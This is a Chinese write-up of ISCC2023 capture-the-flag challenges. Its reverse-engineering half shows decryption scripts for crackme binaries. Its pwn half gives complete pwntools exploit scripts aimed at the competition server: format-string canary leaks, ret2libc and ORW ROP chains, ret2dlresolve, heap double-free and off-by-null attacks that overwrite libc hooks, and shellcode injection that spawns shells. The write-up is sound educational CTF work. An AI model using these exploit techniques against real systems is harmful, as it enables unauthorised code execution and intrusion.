ISCC2023 练武题部分RE&PWN writeup Reverse JustDoIt 查看程序信息是32位的exe文件,直接IDA中打开,对其进行分析后将一些函数和变量重命名便于分析 发现主要的加密逻辑在encode函数中,input的内容经过encode加密后和data进行比较,对encode的函数的算法进行逆向,再将data和key传入即可解密,编写脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <string.h> void decrypt (char *input, char *key, int len) { int i, j, k, m, v4; for (m = len - 1 ; m > 0 ; --m) { input[m] ^= *key; input[m] -= key[m % 4 ] % 5 ; input[m] = input[m] + key[2 ] % 6 + key[3 ] / 6 ; input[m] -= key[1 ] / 7 + *key % 7 ; } for (k = len - 1 ; k > 0 ; --k) { input[k] -= k; } v4 = input[len - 1 ]; for (j = len - 2 ; j >= 0 ; --j) { input[j + 1 ] = input[j]; } input[0 ] = v4; for (i = 0 ; i < len; ++i) { input[i] += 60 ; } }int main () { char data[] = { 0x17 , 0x44 , 0x44 , 0x0F , 0x5E , 0x0A , 0x08 , 0x0A , 0x06 , 0x5F , 0x08 , 0x18 , 0x57 , 0x03 , 0x1A ,0x69 }; char key[] = "ISCC" ; decrypt(data,key,16 ); printf ("%s" ,data); }
变形记 查看程序信息是32位的exe文件,IDA打开后发现程序应该是经过高优化的cpp,在程序中发现等号开头的字符串,可以猜测是逆序后的base64编码,但整体静态分析困难于是采用动态调试进行分析 输入8个a后跟踪输入内容,发现在后续执行出现了a8还有YTg=,也就是a8的base64编码
之后又出现了程序中明文逆序后的base64
猜测程序会根据输入字母连续的数量,变成对应的字母+数字形式,base64后与明文逆序后的base64进行比较,如果相等则输入正确,之后通过多个输入样例验证猜想,发现基本一致,如果字母只有一个,没有出现连续,则没有后面的数字
因此可以编写解密脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import base64 enc = '=M3YzVlQ5N2c6FWeRJTYzZnQhJjQ' enc = enc[::-1 ] txt = base64.b64decode(enc).decode('utf-8' ) num = '0123456789' p = '' for i in range (len (txt)-1 ): if txt[i] in num: continue if txt[i+1 ] not in num: p += txt[i] else : p += txt[i]*(ord (txt[i+1 ])-0x30 ) print ('ISCC{' +p+txt[len (txt)-1 ]+'}' )
《狂彪》-1 首先对synthesis程序进行逆向分析64位的ELF文件,程序逻辑中发现需要material和product并且需要反应过程,查看另外两个文件发现是Cairo Reverse,从recipe获取必要func的类型的参数,func get_processx一共有两种类型,一种是平方,另一种是三次方
从recipe_compiled.json获取大质数以及不同材料对应的参数
编写脚本求上述所需内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from Crypto.Util.number import long_to_bytesdef get1 (x,y ): p = 0x800000000000011000000000000000000000000000000000000000000000001 t = y - p flag = long_to_bytes(x + t ** 2 ) print (flag) def get2 (x,y ): p = 0x800000000000011000000000000000000000000000000000000000000000001 t = p - y flag = long_to_bytes(x + t ** 3 ) print (flag) get1(0x342d632f16ffb39ea1c9ff43c5fd ,0x800000000000010fffffffffffffffffffffffffffffffffffff86d97ac3b68 ) get1(0x4168c574ea889d901813f732 ,0x800000000000010fffffffffffffffffffffffffffffffffffffdd7996ba75d ) get1(0x537660c40b480f3f9d536943af3d1d ,0x800000000000010ffffffffffffffffffffffffffffffffffefdab85793eef8 ) get1(0x6f660865f9b7ac5f2151347c1dfa63ff74f2d353a9e012f36603f26e69bb81 ,0x800000000000010ffffffffffffffffffc7a968ba59673b1ccc65657cc46597 ) get1(0x5769491b82af24d9c7a51fea1f3dfd ,0x800000000000010fffffffffffffffffffffffffffffffffff96a87dcc85c68 ) get1(0x4f765a4dd1b64b37bfffee543fe821901b91bffcfb ,0x800000000000010fffffffffffffffffffffffffffffca971685c93ddca6676 ) get1(0x4469656c732d416c646471de4768244dbc0502ad ,0x800000000000010fffffffffffffffffffffffffffffffffffffeffdeeca462 ) get1(0x4f6c60bd9cb557174a4b36d29d740d45e3 ,0x800000000000010fffffffffffffffffffffffffffffffffdd768b9a5c3a2ad ) get2(0x4b72494bd06e442a4b6e3337e5c3554881796337902326 ,0x800000000000010ffffffffffffffffffffffffffffffffff8b79567c93dccf ) get2(0x526f71b17463ac25adc0329705cbaff72086423381e19e9207f75726 ,0x800000000000010fffffffffffffffffffffffffffffff86ad759a3cb59bbcf ) get2(0x4744387d915d3e20eb63195f4ee8e18d86 ,0x800000000000010fffffffffffffffffffffffffffffffffffffc6978b46977 ) get2(0x2046616c629a738c4fa8c39659665c754c516e ,0x800000000000010fffffffffffffffffffffffffffffffffffffdd78b3c6689 ) get2(0x4c73b9f514a9afdf757e18020f8cae ,0x800000000000010fffffffffffffffffffffffffffffffffffffff87a9756b5 ) get2(0x46694cdd71c40446da2dd7241b54f1acb0a0882da7f2a1736e4560416e ,0x800000000000010ffffffffffffffffffffffffffffff77d5936eee1cc5c1c9 ) get2(0x1c87779e71ce885c2c59b33bde07571630f7 ,0x800000000000010ffffffffffffffffffffffffffffffffffff6c95738b199a ) get2(0x476c61736572293f6be76d101d052d743a5fbf ,0x800000000000010fffffffffffffffffffffffffffffffffffffffe68719067 )
得到了反应原料、反应步骤。之后根据material和product搜索4-chloroisatin制Ammosamide B的方法
发现整个只用到了Wittig Reaction,Rosenmund-von Braun Reaction,Fischer-Speier Esterification三个反应分别对应process3,8,12,将程序原数按process顺序计算后,带入va发现成功过判断,最后带入getflag函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <iostream> #include <string> __int64 __fastcall Material (__int64 a1) { return a1 + 0xEC65771672229 LL; } __int64 __fastcall process3 (__int64 a1) { return a1 ^ 0x9625A51F09 LL; } __int64 __fastcall process8 (__int64 a1) { return a1 + 0x2B26652918 LL; } __int64 __fastcall process12 (__int64 a1) { return a1 ^ 0x797CD6F373251D89 LL; }int __fastcall get_flag (__int64 a1, const char *a2, const char *a3) { printf ("%s%d_%s_%lld_%s%s\n" , "ISCC{" , (a1 % 100000 % 2 ) ^ (2 * (a1 % 100000 )), a2, a1, a3, "}" ); return putchar (10 ); } using namespace std ;int main () { __int64 material = 0x796B159ACD626B88 ; material = Material(material); material = process3(material); material = process8(material); material = process12(material); printf ("%llx\n" ,material); get_flag(0x50d7c32f4a659 ,"4-chloroisatin" ,"Ammosamide B" ); }
奇门遁甲 按顺序进不同的门能获得碎片,switch里一共有8个,按照程序逻辑顺序,也就是order的12345678,取出函数内字符串后拼起来套上ISCC{}即可。
如果硬要探究逻辑部分也可以,程序很长很复杂,动调然后直接找check部分,与程序中出现的明文值比较 翻找上面函数有md5加密的函数,通过对常量值交叉引用发现对常量值进行了魔改,也就是按照程序逻辑顺序得到的字符串拼接起来,经过程序内魔改常量的md5加密后于明文值比较。
Convert 对程序简单分析重命名后可以发现,整体只有一个encode函数对输入做了加密,之后与v8进行比较,因此只需要探究encode函数算法,对其算法进行逆向即可
观察其内部主要算法涉及取余,采用爆破更加合适,编写脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 data = [0x28 , 0x30 , 0x24 , 0x24 , 0x62 , 0x22 , 0x44 , 0x38 , 0x15 , 0x3D , 0x4B , 0x1A , 0x7A , 0x43 , 0x63 , 0x60 , 0x23 , 0x5C , 0x3A , 0x47 , 0x47 , 0x33 , 0x73 ] strs = "" for j in range (23 ): if j >= 20 : strs += chr (data[j]-j+32 ) else : k = j % 4 for i in range (128 ): final = i i-=32 i+=j if j//4 == 0 : temp =i + (k ^ -(ord ("ISCC" [k]) % 4 )) if temp == data[j]: print (j,final) strs += chr (final) break elif j//4 == 1 : temp =i + (ord ("ISCC" [k]) % 5 ) if temp == data[j]: print (j,final) strs += chr (final) break elif j//4 == 2 : temp = i + (2 *k) if temp == data[j]: print (j,final) strs += chr (final) break elif j//4 == 3 : temp = i + data[k+4 ] if temp == data[j]: print (j,final) strs += chr (final) break elif j//4 == 4 : temp = i + (ord ("ISCC" [k]) // 5 ) if temp == data[j]: print (j,final) strs += chr (final) break print (strs)
Pull the Wool Over People’s Eyes IDA打开后发现又是与前面题类似的cpp文件,通过静态+动调先对程序的基本功能进行分析,对相应变量及函数进行重命名,找到了如下两个关键函数和字符串,以及进行加密逻辑的异或运算
发现输入长度为20,输入流紧接着的sort_string函数是对里面明文字符串YouAresoClever进行ascii从小到大排序之后,与输入两者异或得到另一个data,之后对其进行二进制转化,与程序中的明文二进制进行比较。
判断是与程序中明文0和1组成的字符串进行比较,因此直接将二进制转化为方便运算的16进制数,编写解密脚本即可
1 2 3 4 data = bytearray ([0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x7b ,0x6c ,0x22 ,0x0a ,0x2d ,0x1e ,0x38 ,0x57 ,0x51 ,0x3a ,0x5c ,0x3e ,0x20 ,0x00 ]) key = b"ISCC{ACYeeeloorrsuv}" for i in range (20 ): print (chr (data[i] ^ key[i]), end='' )
Congratulations 对程序简单分析,发现main中有两个加密函数,进入函数查看功能后,对其进行重命名,发现输入的内容先经过凯撒加密后,再进行自定义加密内容,与data的值进行比较。直接从data逆向算法即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include <iostream> void decrypt (unsigned char *data, char *key, int len) { int i,j,k; for (i = 0 ; i < len - 1 ; ++i){ data[i] ^= key[1 ]; } for (j = len - 2 ; j >= 0 ; --j){ data[j] += data[j + 1 ]; } for (k = 0 ; k < len - 1 ; ++k){ data[k] += 30 ; } }void Caesar (unsigned char *text, int a2) { int i; char v4[36 ]; char v5[32 ]; memcpy (v5, "abcdefghijklmnopqrstuvwxyz" , 26 ); memcpy (v4, "ABCDEFGHIJKLMNOPQRSTUVWXYZ" , 26 ); for ( i = 0 ; ; ++i ) { if ( !text[i] ) break ; if ( text[i] < 97 || text[i] > 122 ) { if ( text[i] >= 65 && text[i] <= 90 ) text[i] = v4[(text[i] - 65 + a2 + 26 ) % 26 ]; } else { text[i] = v5[(text[i] - 97 + a2 + 26 ) % 26 ]; } } }int main () { unsigned char data[26 ] = { 0xA5 , 0x43 , 0x53 , 0x94 , 0x50 , 0x41 , 0x6A , 0xEF , 0x7D , 0x8C , 0xB9 , 0x61 , 0xA9 , 0x89 , 0x17 , 0x93 , 0x70 , 0x70 , 0xE5 , 0x60 , 0xB5 , 0x49 , 0xA6 , 0x78 , 0xF7 , 0x5F , }; char key[] = "ISCC" ; int len = 26 ; decrypt (data,key,len); Caesar (data,1 ); for (unsigned char i : data) { printf ("%c" ,i); } }
最后手动补上一个后花括号
CrackMePlease 拿到程序后先简单动调分析一下逻辑,发现data被进行一些加密操作后,最后送到Str1中与输入进行比较。所以随便输入之后,直接断点断在字符串比较处,观察Str1内存的值即可
把后面{EASY}去掉即可ISCC{agyeU/m)}
Pwn 三个愿望 随机数种子可以覆盖,调试找canary位置,secondwish泄露canary,thirdwish填充+canary返回到后门函数,编写解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from ctypes import * context.log_level = "debug" p = remote('59.110.164.72' ,10001 ) elf = cdll.LoadLibrary('libc.so.6' ) elf.srand(1 ) number = str (elf.rand() % 9 + 1 )def send_num (): p.recvuntil('Please give me a number!\n' ) p.sendline(number) backdoor = 0x4011D6 p.recvuntil('Now you can make your first wish\n' ) padding = b'a' *14 + p32(1 ) + p32(1 ) p.send(padding) send_num() p.recvuntil('Now you can make your second wish!\n' ) leak_canary = b'%11$p' p.sendline(leak_canary) canary = int (p.recv(18 ),16 )print (hex (canary)) send_num() p.recvuntil('Now you can make your final wish!\n' ) payload = b'a' *40 + p64(canary) + b'a' *8 + p64(backdoor) p.sendline(payload) p.interactive()
Login ret2libc ,第一个read填充后覆盖判断,进入第二个read填充,print_name函数memcpy有栈溢出,先泄露puts地址计算偏移,返回到main函数,再重新执行一遍到print_name直接返回system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.log_level = "debug" p = remote('59.110.164.72' ,10000 ) elf = ELF('./Login' ) libc = ELF("./libc-2.23.so" ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi = 0x4008c3 main_addr = 0x400796 def username (name ): p.recvuntil("input the username:\n" ) p.send(name)def password (payload ): p.recvuntil("input the password:\n" ) p.send(payload) name = b'a' *28 + p32(365696460 ) username(name) payload1 = b'a' *40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) password(payload1) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr-libc.sym['puts' ] sys_addr = libc.sym['system' ]+libc_base bin_sh = libc.search(b'/bin/sh' ).__next__()+libc_base username(name) payload2 = b'a' *40 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) + p64(main_addr) password(payload2) p.interactive()
第一用笔-1 第一个函数中文件code.txt在服务器上,要验证和输入内容相同,根据提示是笔法九用 顿笔、挫笔、驭锋、蹲锋 、足存锋、衄锋、趯锋、按锋、揭笔按顺序拼音不够8字符末尾填充0来绕过 第二个函数存在栈溢出,但是溢出很小应该要先跳到func_101101再ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * context.log_level = "debug" p = remote('59.110.164.72' ,10002 ) elf = ELF('./usage_of_pen' ) libc = ELF("./libc.so.6" ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main = 0x400B96 pop_rdi = 0x400c53 func_read = 0x400B0F p.recvuntil('!' ) stroke = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000' p.send(stroke) p.recvuntil('or you can look for other space\n' ) payload1 = b'a' *40 + p64(func_read) p.send(payload1) payload2 = b'a' *40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(func_read) p.send(payload2) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr-libc.sym['puts' ] sys_addr = libc.sym['system' ]+libc_base bin_sh = libc.search(b'/bin/sh' ).__next__()+libc_base payload3 = b'a' *40 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) + p64(func_read) p.sendline(payload3) p.interactive()
Double Double free任意地址写绕过check,后面有两个字节的溢出,过判断已经给了栈变量地址,取其低位覆盖rpb低位字节实现栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p = remote("59.110.164.72" ,10021 ) elf=ELF('./attachment-32' )def add (index,size ): p.sendafter("请选择:" ,'1' ) p.sendafter("请输入序号:" ,str (index)) p.sendafter("请输入大小:" ,str (size))def free (index ): p.sendafter("请选择:" ,'2' ) p.sendafter("请输入序号:" ,str (index))def show (index ): p.sendafter("请选择:" ,'3' ) p.sendafter("请输入序号:" ,str (index))def edit (index,Content ): p.sendafter("请选择:" ,'4' ) p.sendafter("请输入序号:" ,str (index)) p.sendafter("请输入编辑内容:" ,Content)def bye (): p.sendafter("请选择:" ,'5' ) add(0 ,0x60 ) add(1 ,0x60 ) free(0 ) free(1 ) free(0 ) add(0 ,0x60 ) check_addr = 0x6021d8 edit(0 ,p64(check_addr)) add(1 ,0x60 ) add(2 ,0x60 ) add(3 ,0x60 ) check_num = p32(0x15CC15CC ) + b'a' *60 + p32(0xCC51CC51 ) edit(3 ,check_num) bye() p.recvuntil("reward: " ) buf_addr=int (p.recvuntil('\n' ,drop=True ),16 ) buf_low = buf_addr & 0xffff main = 0x400A24 pop_rdi = 0x400cb3 binsh = 0x400CD8 shell = 0x4008EB payload = p64(pop_rdi) + p64(binsh) + p64(shell) + p64(main) + p16(buf_low-0x8 ) p.sendafter('say:' ,payload) p.interactive()
困局 沙盒,禁用了execve不能用system了
考虑orw/shellcode,先泄露canary,再利用rop泄露基地址,之后再构造orw的rop即可,read函数读入的够长放得下rop链,但是主要需要找一个位置写flag,思路有很多,我这里用gets写到bss段利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) elf = ELF('./Trapped' ) p = remote('59.110.164.72' ,10066 ) libc = ELF('./libc.so.6' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] talk_addr = 0x400777 pop_rdi = 0x400a23 def send_canary (text ): p.recvuntil('This is a larger box\n' ) p.send(text)def recv_canary (): canary = int (p.recvuntil('00' ),16 ) print (hex (canary)) return canarydef talk (text ): p.recvuntil('We have a lot to talk about\n' ) p.send(text) leak_canary = b'%9$p' send_canary(leak_canary) first = b'I want to leak canary' talk(first) canary = recv_canary() send_canary(leak_canary) payload1 = b'a' *40 + p64(canary) + b'a' *8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(talk_addr) talk(payload1) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr - libc.sym['puts' ] gets_addr = libc_base + libc.sym["gets" ] open_addr = libc_base + libc.sym["open" ] read_addr = libc_base + libc.sym["read" ] write_addr = libc_base + libc.sym["write" ] pop_rsi = libc_base + 0x202f8 pop_rdx = libc_base + 0x1b92 bss = 0x601060 payload3 = b'a' *40 + p64(canary) + b'a' *8 + p64(pop_rdi) + p64(bss) + p64(gets_addr) payload3 += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0 ) + p64(open_addr) payload3 += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(bss+30 ) + p64(pop_rdx) + p64(50 ) + p64(read_addr) payload3 += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(bss+30 ) + p64(pop_rdx) + p64(50 ) + p64(write_addr) talk(payload3) p.sendline(b'flag\0' ) p.interactive()
Eat_num 纯例题作用,ret2dlresolve,利用pwntools自带的工具实现更方便的漏洞利用,编写脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.log_level = 'debug' context.binary = elf = ELF("./attachment-38" ) rop = ROP(context.binary) dlresolve = Ret2dlresolvePayload(elf,symbol="system" ,args=["/bin/sh" ]) p = remote('59.110.164.72' ,10067 ) rop.raw(b'a' * 76 ) rop.read(0 , dlresolve.data_addr) rop.ret2dlresolve(dlresolve) p.sendline(rop.chain()) p.sendline(dlresolve.payload) p.interactive()
SIMS
先绕过判断,unsortbin+show()泄露libc_base,doublefree任意改写free_hook执行system ,由于libc引入了tcache,因此需要先填满tcache后才能用到fastbin,编写脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import * context(arch='amd64' ,log_level = 'debug' ) libc = ELF('./libc.so.6' ) elf = ELF('./SIMS' ) p = remote('59.110.164.72' ,10085 )def add (size ): p.sendlineafter('please choose one!' ,'1' ) p.sendlineafter('Age of Stu:' ,str (size))def dele (idx ): p.sendlineafter('please choose one!' ,'2' ) p.sendafter('Index:' ,str (idx))def edit (idx,content ): p.sendlineafter('please choose one!' ,'3' ) p.sendafter('Index:' ,str (idx)) p.sendafter('Content of Stu:' ,content)def show (idx ): p.sendlineafter('please choose one!' ,'4' ) p.sendafter('Index:' ,str (idx))def tcache_heap (size ): for i in range (7 ): add(size)def tcache_bin (): for i in range (7 ): dele(i) random = 0x6b8b4567 xor_num = 0x15CC15CC p.sendlineafter('password:' ,str (random ^ xor_num)) add(2048 ) add(32 ) dele(0 ) dele(1 ) show(0 ) main_arena = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = main_arena - 96 - 0x3EBC40 sys_addr = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym["__free_hook" ] tcache_heap(64 ) add(64 ) add(64 ) add(64 ) tcache_bin() dele(7 ) dele(8 ) dele(7 ) tcache_heap(64 ) add(64 ) edit(7 ,p64(free_hook)) add(64 ) add(64 ) edit(9 ,"/bin/sh\x00" ) add(64 ) edit(10 ,p64(sys_addr)) dele(9 ) p.interactive()
chef
结尾content的内容补0,用off-by-null实现unlink,unsortbin泄露基地址后,改fd实现任意地址写后malloc_hook+onegadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p = process("./chef" ) p = remote("59.110.164.72" ,10031 ) libc=ELF('libc-2.23.so' )def skip (): p.sendafter("Your choice:" ,'4' )def add (size,name ): p.sendafter("Your choice:" ,'2' ) p.sendafter("Please enter the price of food:" ,str (size)) p.sendafter("Please enter the name of food:" ,name)def change (index,size,name ): p.sendafter("Your choice:" ,'3' ) p.sendafter("Please enter the index of food:" ,str (index)) p.sendafter("Please enter the price of food :" ,str (size)) p.sendafter("Please enter the name of food:" ,name)def remove (index ): p.sendafter("Your choice:" ,'4' ) p.sendafter("Please enter the index of food:" ,str (index))def show (): p.sendafter("Your choice:" ,'1' )def end (): p.sendafter("Your choice:" ,'5' ) skip() add(0x80 ,'AAAA' ) add(0x68 ,'BBBB' ) add(0xf0 ,'CCCC' ) add(0x10 ,'DDDD' ) remove(0 ) change(1 ,0x68 ,b'\x00' *0x60 +p64(0x100 )) remove(2 ) add(0x80 ,'EEEE' ) show() main_arena = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = main_arena - 88 - 0x3C4B20 malloc_hook=libc_base+libc.symbols['__malloc_hook' ] realloc=libc_base+libc.symbols['realloc' ] fake_chunk = libc_base + 0x3c4aed gadget=[0x45206 ,0x4525a ,0x4525a ,0xf0897 ] one_gadget = libc_base + gadget[2 ] add(0x68 ,'FFFF' ) add(0x68 ,'GGGG' ) add(0x68 ,'HHHH' ) remove(2 ) change(1 ,0x68 ,p64(fake_chunk)) remove(4 ) add(0x68 ,'IIII' ) add(0x68 ,b'JJJJ' ) add(0x68 ,b'\x00' *0x13 + p64(one_gadget)) p.send('2' ) p.sendafter('food:' ,'16' ) p.interactive()
第二识势-2
保护全关有读写可执行段,考虑shellcode,发现程序里提示的top联想到top_arena,Horse of force绕过check,之后栈溢出+shellcode执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * context (arch='amd64' ,log_level = 'debug' ) #elf = ELF('./attachment-34' ) p = process ('./attachment-34' ) p = remote ('59.110.164.72' ,10025 )#gdb.attach(p) p.recvuntil ('Start injecting\n' ) p.send (b' \x00' +b' h' *23 ) p.recvuntil ('materials\n' ) s = p.recvuntil ('d' ,drop=True) top_trunk = int (s)-0x8 print (hex (top_trunk)) p.send ('-1' ) bsf = 0x6012A0 offset = bsf -0x20 size = offset - top_trunkprint (size) p.send (str (size)) p.recvuntil ('Answer time is close to over\n' ) p.send (b' a' *16 ) p.recvuntil ('Think about whether this is very basic\n' ) shellcode = asm (shellcraft.amd64.sh ()) p.recvuntil ('Direct to destination\n' ) payload = shellcode.ljust (124 , b' A' ) + p32 (0 ) + p64 (0 ) + p64 (bsf) p.send (payload) p.interactive ()